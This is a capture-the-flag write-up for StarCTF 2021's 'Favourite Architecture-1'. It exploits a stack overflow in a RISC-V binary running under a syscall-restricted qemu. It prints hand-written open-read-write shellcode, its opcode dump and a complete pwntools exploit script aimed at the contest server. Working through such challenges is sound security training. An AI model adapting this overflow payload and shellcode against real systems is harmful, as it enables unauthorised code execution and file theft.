Favourite Architecture-1 - StarCTF 2021
Abusing a stack overflow on a RISC-V binary to then return to shellcode.
Challenge Points: 465 Solves: 24 Solved by: Pwn-Solo ,d4rk_kn1gh7,Cyb0rG,3agl3
Initial Analysis
This challenge is second in a 3 part series ,the first one being reversing and the rest pwn. This writeup involves only the challenge favourite architecture flag1
arch riscv
baddr 0x10000
binsz 384184
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
laddr 0x0
lang c
linenum false
lsyms false
machine RISC V
nx false
os linux
A quick look in radare2 tells us that there’s no canary and NX is disabled , but the qemu we had was patched to allow only certain syscalls
+ switch (num) {
+ // syscall whitelist
+ case TARGET_NR_brk:
+ case TARGET_NR_uname:
+ case TARGET_NR_readlinkat:
+ case TARGET_NR_faccessat:
+ case TARGET_NR_openat2:
+ case TARGET_NR_openat:
+ case TARGET_NR_read:
+ case TARGET_NR_readv:
+ case TARGET_NR_write:
+ case TARGET_NR_writev:
+ case TARGET_NR_mmap:
+ case TARGET_NR_munmap:
+ case TARGET_NR_exit:
+ case TARGET_NR_exit_group:
+ case TARGET_NR_mprotect:
+ ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,
+ arg5, arg6, arg7, arg8);
+ break;
+ default:
+ printf("[!] %d bad system call\n", num);
+ ret = -1;
+ break;
+ }
Debugging
After spending hours finding a way to debug,I came across this toolchain for RISC-V development which includes a gdb for RISC-V , pretty neat!
Reversing the binary isn’t necessary for this part atleast.
Triggering the bug is pretty straightforward, an input having length greater than 288 bytes gets you pc
control (Instruction Pointer).
Since the qemu user doesn’t have aslr enabled we dont have to worry about leaking stack
Shellcode
Since there was a large overflow and with NX being disabled ,shellcode was the way to go . unlike x86 , in RISC-V instructions are fixed in size ;32 or 16 bits to be precise. This needs to be taken into account while scripting the exploit.
The patched qemu disables execve syscall,but we do have openat
read
and write
which is perfect , now we can construct an ORW shellcode to read the flag
This was my first time coding assembly is RISC-V, after going through multiple manuals about the instruction-set I managed to write a half decent assembler code. To make a Syscall we make use of the ecall
instruction and set the registers a0-a7
accordingly. Also remember , the syscall numbers for RISC-V are quite different from x86 refer syscall table
_start:
li s1, 0x67616c662f2f6e77
sd s1, -16(sp)
li s1, 0x702f2f656d6f682f
sd s1, -24(sp)
sd zero, -8(sp)
addi a1,sp,-24
slt a2,zero,-1
li a7, 56
ecall
addi a1,sp,-80
li a2,60
li a7, 63
ecall
mv a2,a0
li a0,1
li a7, 64
ecall
Compile and dump the opcodes
0000000000010078 <_start>:
10078: 033b14b7 lui s1,0x33b1
1007c: b634849b addiw s1,s1,-1181
10080: 04b6 slli s1,s1,0xd
10082: 62f48493 addi s1,s1,1583 # 33b162f <__global_pointer$+0x339fd4b>
10086: 04b2 slli s1,s1,0xc
10088: 2f748493 addi s1,s1,759
1008c: 04b2 slli s1,s1,0xc
1008e: e7748493 addi s1,s1,-393
10092: fe913823 sd s1,-16(sp)
10096: 038184b7 lui s1,0x3818
1009a: 97b4849b addiw s1,s1,-1669
1009e: 04b6 slli s1,s1,0xd
100a0: 56d48493 addi s1,s1,1389 # 381856d <__global_pointer$+0x3806c89>
100a4: 04b2 slli s1,s1,0xc
100a6: 6f748493 addi s1,s1,1783
100aa: 04b2 slli s1,s1,0xc
100ac: 82f48493 addi s1,s1,-2001
100b0: fe913423 sd s1,-24(sp)
100b4: fe013c23 sd zero,-8(sp)
100b8: fe810593 addi a1,sp,-24
100bc: fff02613 slti a2,zero,-1
100c0: 03800893 li a7,56
100c4: 00000073 ecall
100c8: fb010593 addi a1,sp,-80
100cc: 03c00613 li a2,60
100d0: 03f00893 li a7,63
100d4: 00000073 ecall
100d8: 862a mv a2,a0
100da: 4505 li a0,1
100dc: 04000893 li a7,64
100e0: 00000073 ecall
Exploit
While constructing the shellcode the 32 bit and 16 bit instructions need to be packed differently or they wont be valid
from pwn import *
import sys
import os
remote_ip,port = '119.28.89.167','60001'
binary = './qemu-riscv64 main'
#binary = './qemu-riscv64 -g 9001 main'
brkpts = ''
if sys.argv[1] == 'remote' :
io = remote(remote_ip,port)
else:
io = process(binary.split())
if __name__== "__main__":
addr = 0x40007fff40
nop = p32(0x00000013)
sc = b''
opcodes = ['0x033b14b7', '0xb634849b', '0x04b6', '0x62f48493', '0x04b2', '0x2f748493', '0x04b2', '0xe7748493', '0xfe913823', '0x038184b7', '0x97b4849b', '0x04b6', '0x56d48493', '0x04b2', '0x6f748493', '0x04b2', '0x82f48493', '0xfe913423', '0xfe013c23', '0xfe810593', '0xfff02613', '0x03800893', '0x00000073', '0xfb010593', '0x4651', '0x03f00893', '0x00000073', '0x862a', '0x4505', '0x04000893', '0x00000073']
for i in opcodes:
if len(i) == 6:
sc += p16(int(i,16))
else:
sc += p32(int(i,16))
payload = b''
payload = payload.ljust(288,b"A")
payload += p64(addr)
payload += nop*200 + sc
io.sendlineafter('Input the flag: ',payload)
resp = io.recvline()
io.interactive()
That’s all there is to it!
lo and behold
pwn-solo@m4ch1n3:~/ctf/favourite_architecture/share$ python3 exploit.py local
[+] Starting local process './qemu-riscv64': pid 19543
[*] Switching to interactive mode
flag{test_flag}
[*] Got EOF while reading in interactive
$
[*] Interrupted